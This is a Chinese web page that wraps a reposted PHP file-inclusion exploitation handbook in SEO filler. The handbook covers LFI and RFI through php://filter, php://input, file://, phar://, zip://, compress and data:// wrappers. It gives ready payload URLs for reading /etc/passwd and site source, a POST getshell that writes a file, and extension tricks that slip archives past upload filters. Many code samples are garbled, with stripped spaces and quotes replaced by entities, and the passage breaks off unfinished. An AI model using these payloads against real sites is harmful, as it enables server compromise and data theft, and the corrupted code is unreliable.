老铁们，大家好，相信还有很多朋友对于有什么带漏洞的网站源码分享和网页漏洞的代码大全的相关问题不太懂，没关系，今天就由我来为大家分享分享有什么带漏洞的网站源码分享以及网页漏洞的代码大全的问题，文章篇幅可能偏长，希望可以帮助到大家，下面一起来看看吧！
作者：Qftm合天智汇
前言
这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass手法的总结。
相关函数
四个函数
php中引发文件包含漏洞的通常主要是以下四个函数：
1、include()
http://www.php.net/manual/en/function.include.php
2、include_once()
http://php.net/manual/en/function.include-once.php
3、require()
http://php.net/manual/en/function.require.php
4、require_once()
http://php.net/manual/en/function.require-once.php
函数功能
当利用这四个函数来包含文件时，不管文件是什么类型（图片、txt等等），都会直接作为php文件进行解析。
函数差异
include()
include()函数包含出错的话，只会提出警告，不会影响后续语句的执行
require()
require()函数包含出错的话，则会直接退出，后续语句不在执行
include_once()和require_once()
require_once()和include_once()功能与require()和include()类似。但如果一个文件已经被包含过了，则require_once()和include_once()则不会再包含它，以避免函数重定义或变量重赋值等问题。
二次包含
一次包含
漏洞原因
文件包含函数所加载的参数没有经过过滤或者严格的定义，可以被用户控制，包含其他恶意文件，导致执行了非预期的代码。
漏洞分类
LFI
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件，例如session文件、日志文件、临时文件等。同时借助此漏洞也可以查看服务器上的一些重要文件。但是，只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。
例如本地读取/etc/passwd系统重要文件
RFI
RFI(RemoteFileInclusion)远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的，因此漏洞一旦存在危害性会很大。但RFI的利用条件较为苛刻，需要php.ini中进行配置
allow_url_fopen=On\nallow_url_include=On\nallow_url_fopen=On
该选项为on便是激活了URL形式的fopen封装协议使得可以访问URL对象文件等。
allow_url_include：On
该选项为on便是允许包含URL对象文件等。
两个配置选项均需要为On，才能远程包含文件成功
修改php.ini
在php.ini中，allow_url_fopen默认一直是On，而allow_url_include从php5.2之后就默认为Off。
php5.5.9->php.ini
包含姿势
php伪协议
PHP带有很多内置URL风格的封装协议，可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议，还能通过stream_wrapper_register()来注册自定义的封装协议。
file://—访问本地文件系统\nhttp://—访问HTTP(s)网址\nftp://—访问FTP(s)URLs\nphp://—访问各个输入/输出流（I/Ostreams）\nzlib://—压缩流\ndata://—数据（RFC2397）\nglob://—查找匹配的文件路径模式\nphar://—PHP归档\nssh2://—SecureShell2\nrar://—RAR\nogg://—音频流\nexpect://—处理交互式的流
可以在phpinfo中的RegisteredPHPStreams中找到可使用的协议。
下面测试代码均为：
<?php\n$file=$_GET[&39;];\ninclude($file);\n?>
若有特殊案例，会声明。
php.ini
allow_url_fopen默认为On\nallow_url_include默认为Off
若有特殊要求，会在利用条件里指出。
php://filter
php://filter是一种元封装器，设计用于数据流打开时的筛选过滤应用。
参数
过滤器列表
字符串过滤器string.strip_tags转换过滤器压缩过滤器加密过滤器
可用过滤器列表：https://www.php.net/manual/zh/filters.php
利用条件：无
利用姿势1：
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件，可以读取经base64加密后的文件源码，之后再base64解码一下就行。虽然不能直接获取到shell等，但能读取敏感文件危害也是挺大的。同时也能够对网站源码进行审计。
利用姿势2：
<?php\n$file=$_GET[&39;];\ninclude($file);\n?>
效果跟前面一样，只是少了个read关键字，在绕过一些waf时也许有用。file://专们用于访问本地文件系统和php://filter类似都可以对本地文件进行读取用法：
/path/to/file.ext\nrelative/path/to/file.ext\nfileInCwd.ext\nC:/path/to/winfile.ext\nC:\\path\\to\\winfile.ext\n\\\\smbserver\\share\\path\\to\\winfile.ext\nfile:///path/to/file.ext\n\n?file=file://[文件的绝对路径+文件名]
利用条件：无
利用姿势：
index.php?file=file:///etc/passwd
php://input
php://input是个可以访问请求的原始数据的只读流，将post请求中的数据作为PHP代码执行。
利用条件：
allow_url_include=On\nallow_url_fopen=On/Off
利用姿势：
index.php?file=php://input\n\nPOST:\n<?phpphpinfo();?>/<?phpinfo();?>
也可以使用burpsuite或curl进行利用
curl-v&34;-d&34;
Getshell
POST:\n\n<?PHPfputs(fopen(&39;,&39;),&39;);?>
file_get_contents()的利用
file_get_contents()函数将整个文件读入一个字符串中
测试代码
<?php\n$file=$_GET[&39;];\nif(file_get_contents($file,&39;)==&34;){\necho&34;;\n}\n?>
利用条件：无
利用姿势：
file_get.php?file=php://input\n\nPOST:\nQftm
php://input可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。enctype=”multipart/form-data”的时候php://input是无效的。
phar://
phar://支持zip、phar格式的文件包含。
zip
用法：
?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]?file=phar://[压缩包文件绝对路径]/[压缩文件内的子文件名]
利用条件：php>=5.3.0
利用姿势1：
配合文件上传漏洞，当仅可以上传zip格式时
index.php?file=phar://index.zip/index.txt\n\nindex.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/index.zip/index.txt
新建index.txt，使用zip格式压缩->index.zip
利用姿势2：
配合文件上传漏洞，当仅可以上传图片格式时
针对phar://不管后缀是什么，都会当做压缩包来解压。
index.php?file=phar://head.png/head.txt\n\nindex.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png/head.txt
将做好的zip后缀改为png格式
phar
phar文件本质上是也一种压缩文件。
用法：
?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]?\nfile=phar://[压缩包文件绝对路径]/[压缩文件内的子文件名]
制作phar文件：
制作包含恶意代码文件的phar文件
（1）确保本地php.ini中phar.readonly=Off
（2）编写恶意phar文件的php脚本
?php\n@unlink(&34;);\n$phar=newPhar(&34;);\n$phar->startBuffering();\n$phar->setStub(&34;);//设置stub\n$phar->addFromString(&34;,&34;);//添加要压缩的文件及内容\n//签名自动计算\n$phar->stopBuffering();\n?>
（3）生成phar文件
<?php\n$p=newPharData(dirname(FILE).&39;,0,&39;,Phar::ZIP);\n$p->addFromString(&39;,&39;);\n?>
利用条件：php>=5.3.0
利用姿势1：
index.php?file=phar://phar.phar/head.txt\n\n\nindex.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/phar.phar/head.txt
利用姿势2：
index.php?file=phar://phar.png/head.txt\n\n\nindex.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/phar.png/head.txt
利用协议特性，更改后缀文件可适当绕过一些限制
zip://
`zip协议`和`phar协议`类似，都支持`相对路径`和`绝对路径`（几乎网上所有人都说`zip协议`不支持`相对路径`，事实上是可以！！！）在`phpversion5.2.9`时已经修复`zip://`相对路径问题
使用zip协议，需将`[压缩文件内的子文件名]\n?file=zip://[压缩包文件绝对路径]#[压缩文件内的子文件名]
利用条件：php>=5.2（绝对路径）|php>=5.29（相对/绝对路径）利用姿势1：
index.php?file=zip://head.zip%23head.txt\n\n\nindex.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.zip%23head.txt
利用姿势2：
针对`zip://`不管后缀是什么，都会当做压缩包来解压，可以适当的绕过一些限制。
index.php?file=zip://head.png%23head.txt\n\n\nindex.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png%23head.txt
相对路径`php5.3.29windows`
`php5.5.9windows`
`5.4.16LinuxCentos7`
绝对路径
`windwos`
`LinuxCentos7`
bzip2://
用法：
?file=compress.bzip2://[压缩包文件相对路径]\n?file=compress.bzip2://[压缩包文件绝对路径]
利用条件：php>=5.2
利用姿势1：
index.php?file=compress.bzip2://head.bz2\n\nindex.php?file=compress.bzip2://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.bz2
相对路径
绝对路径
利用姿势2：
利用协议特性，更改后缀文件可适当绕过一些限制
index.php?file=compress.bzip2://head.jpg\n\nindex.php?file=compress.bzip2://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.jpg
zlib://
用法：
?file=compress.zlib://[压缩包文件相对路径]\n?file=compress.zlib://[压缩包文件绝对路径]
利用条件：php>=5.2
利用姿势1：
index.php?file=compress.zlib://head.gz\n\n\nindex.php?file=compress.zlib://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.gz
相对路径
绝对路径
利用姿势2：利用协议特性，更改后缀文件可适当绕过一些限制
index.php?file=compress.zlib://head.jpg\n\n\nindex.php?file=compress.zlib://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.jpg
data://
数据流封装器，和php://相似都是利用了流的概念
用法：
data:,<文本数据>\ndata:text/plain,<文本数据>\ndata:text/html,<HTML代码>\ndata:text/html;base64,<base64编码的HTML代码>\ndata:text/css,<CSS代码>\ndata:text/css;base64,<base64编码的CSS代码>\ndata:text/javascript,<Javascript代码>\ndata:text/javascript;base64,<base64编码的Javascript代码>\ndata:image/gif;base64,base64编码的gif图片数据\ndata:image/png;base64,base64编码的png图片数据\ndata:image/jpeg;base64,base64编码的jpeg图片数据\ndata:image/x-icon;base64,base64编码的icon图片数据
利用条件：
php>=5.2\nallow_url_fopen=On\nallow_url_include=On
利用姿势1：
index.php?file=data:text/plain,<?phpphpinfo();?>\n\n\nindex.php?file=data://text/plain,<?phpphpinfo();?>“`
……未完待续
实验推荐：文件包含漏洞-中级篇
http://hetianlab.com/expc.do?ce=364ed95b-3c22-4556-b658-85d4768a0a48
（介绍文件包含时绕过限制的原理，以及介绍利用文件包含漏洞读取源码的原理。）
声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！
好了，关于有什么带漏洞的网站源码分享和网页漏洞的代码大全的问题到这里结束啦，希望可以解决您的问题哈！